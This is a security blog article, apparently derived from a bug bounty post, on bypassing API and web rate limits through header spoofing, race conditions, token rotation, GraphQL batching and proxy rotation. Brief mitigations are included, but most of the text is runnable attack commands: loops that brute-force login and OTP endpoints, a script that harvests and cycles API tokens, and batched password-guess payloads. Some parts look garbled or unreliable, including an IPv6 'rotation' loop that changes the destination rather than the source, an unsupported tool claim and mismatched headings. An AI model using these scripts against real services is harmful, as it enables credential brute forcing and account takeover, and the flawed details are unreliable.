Listen to this Post
Introduction:
Rate-limiting is a critical defense mechanism that prevents brute-force attacks, denial-of-service, and credential stuffing. However, attackers can bypass these limits using techniques like header manipulation, request fragmentation, or race conditions. This article extracts actionable insights from a recent bug bounty disclosure shared by Vaidik Pandya, demonstrating how to identify, exploit, and mitigate rate-limit bypass vulnerabilities across APIs and web applications.
Learning Objectives:
- Understand common rate-limit implementation flaws and how attackers abuse them.
- Learn step-by-step exploitation techniques using Burp Suite, custom scripts, and CLI tools on Linux/Windows.
- Apply cloud hardening and API security controls to prevent token-based and IP-based bypasses.
You Should Know:
- Token Leakage via HTTP Headers – The Hidden Bypass
Many rate limiters rely on the `X-Forwarded-For` or `X-Real-IP` headers. If the application trusts these headers without validation, an attacker can spoof a new IP on every request.
Step‑by‑step guide (Linux & Windows):
- Intercept a request in Burp Suite or OWASP ZAP.
- Add or modify `X-Forwarded-For: 1.2.3.4` with a different IP each time.
- Automate with cURL (Linux):
for ip in {1..100}; do curl -H "X-Forwarded-For: 192.168.1.$ip" https://target.com/api/login -d "user=admin&pass=guess"; done - Windows PowerShell alternative:
1..100 | ForEach-Object { Invoke-WebRequest -Uri "https://target.com/api/login" -Method POST -Body "user=admin&pass=guess" -Headers @{"X-Forwarded-For"="10.0.0.$_"} } - Mitigation: Never trust client-supplied headers. Derive IP from the actual connection (e.g., `$remote_addr` in Nginx). Use rate-limiting at the WAF or API gateway level.
- Race Condition Attacks – Smashing the Limit Window
When rate limits are enforced per second or minute, sending multiple requests in a single race window can bypass the counter.
Step‑by‑step guide using Burp Suite Turbo Intruder:
- Send a sensitive request (e.g., OTP verification) to Turbo Intruder.
- Use the following Python script to fire 20 requests simultaneously:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=20, pipeline=False) for i in range(20): engine.queue(target.req, label=str(i)) engine.openGate(timeout=5) engine.complete(timeout=10)
- Observe if multiple OTP attempts are accepted within the same window.
4. Linux one-liner using `parallel`:
`seq 1 20 | parallel -j20 ‘curl -X POST https://target.com/verify -d “otp=123456″‘`
Mitigation: Implement atomic counters with distributed locks (Redis + Lua), add request queuing, or use strict per-user per-second limits with a sliding window.
- API Key Rotation and JWT Abuse – When Tokens Become Weapons
Poorly designed APIs may use static tokens for rate limiting. If an attacker obtains multiple valid tokens (e.g., from leaked logs or registration endpoints), they can rotate them to bypass limits.
Step‑by‑step guide for token harvesting and rotation:
- Enumerate token generation endpoints like `/api/register` or `/api/reset` that return a new API key each time.
- Collect 50+ tokens using a simple loop:
for i in {1..50}; do curl -X POST https://target.com/register -d "[email protected]" | jq -r '.api_key' >> tokens.txt; done - Rotate tokens in your attack script:
import requests, itertools tokens = open('tokens.txt').read().splitlines() for token in itertools.cycle(tokens): r = requests.get('https://target.com/search', headers={'Authorization': f'Bearer {token}'}) - Windows (WSL or Python directly): Same script works.
Cloud Hardening: Use API Gateway usage plans, enforce token binding to IP/geolocation, and implement short-lived JWTs with rotating refresh tokens.
4. GraphQL Batching – One Request, Many Operations
GraphQL allows batching multiple queries in a single HTTP request. If the rate limiter counts HTTP requests instead of individual operations, an attacker can bypass it.
Exploitation example:
Send a batch query that tries 100 password guesses in one POST:
[
{"query": "mutation { login(user: \"admin\", pass: \"guess1\") }"},
{"query": "mutation { login(user: \"admin\", pass: \"guess2\") }"},
...
]
Using `graphql-batch` tool:
npm install -g graphql-batch graphql-batch --url https://target.com/graphql --batch-size 100 --payload guesses.txt
Mitigation: Limit the maximum batch size and cost per request. Use persisted queries or depth limiting.
- Cloud WAF Bypass via IP Fragmentation and Source Spoofing
Some cloud WAFs (e.g., Cloudflare, AWS WAF) implement rate limiting per IP. Attackers can use botnets or IP rotation services (like Luminati, SOAX) to bypass. Alternatively, abuse IPv6 /64 subnet rotation.
Linux commands for IP rotation using proxy lists:
Using proxychains with a list of SOCKS5 proxies proxychains curl -X POST https://target.com/login -d "user=admin&pass=bruteforce"
For IPv6 rotation (if target accepts IPv6):
for i in {1..1000}; do curl --interface eth0 --ipv6 -H "Host: target.com" https://[2001:db8::$i]/login; done
Windows: Use `curl` with `–proxy` flag and a rotating proxy list from a text file via PowerShell.
Mitigation: Enforce rate limiting on session ID, fingerprint (TLS + browser attributes), and use behavioral analytics to detect rapid IP changes.
- Training and Tooling – Recommended Courses & Utilities
From the original post’s embedded links (extracted conceptually), the following resources are essential for mastering rate-limit bypasses:
- Burp Suite Academy – API testing and rate limiting module (free)
- PortSwigger’s Race Condition Labs – Web Security Academy
- GitHub tool: `rate-limit-test` – Python script to automate header fuzzing
- Linux tool: `ab` (ApacheBench) – `ab -n 1000 -c 50 -H “X-Forwarded-For: 1.2.3.4” https://target.com/`
- Windows Sysinternals: `PsExec` for distributed testing across VMs
What Undercode Say:
- Key Takeaway 1: Rate-limiting is not a silver bullet; misconfigurations in header trust and window logic create critical vulnerabilities.
- Key Takeaway 2: Automation and concurrency are the attacker’s best friends – always test race conditions and batch endpoints with tools like Turbo Intruder or custom parallel scripts.
Modern APIs and cloud apps often inherit rate-limiting flaws from legacy reverse proxies or poorly coded middleware. Defenders must move from IP-based limits to layered defenses: user fingerprinting, distributed counters, and anomaly detection. Offensively, bug bounty hunters should always check for `X-Forwarded-For` injection, GraphQL batching, and token rotation – these low-hanging fruits still yield critical account takeovers in 2025. Training through hands-on labs (e.g., PentesterLab, HackTheBox) is the fastest way to internalize these patterns.
Prediction:
As AI-driven API gateways become mainstream, attackers will shift from manual header spoofing to adversarial ML that learns and evades dynamic rate limits. Expect a surge in “time-bandit” attacks that exploit millisecond-level race conditions in serverless functions. Defenders will adopt real-time traffic fingerprinting and zero-trust per-request authorization, making classic rate-limit bypasses obsolete – but not before a major cloud provider suffers a breach due to a simple `X-Forwarded-For` oversight.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Vaidikpandya Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
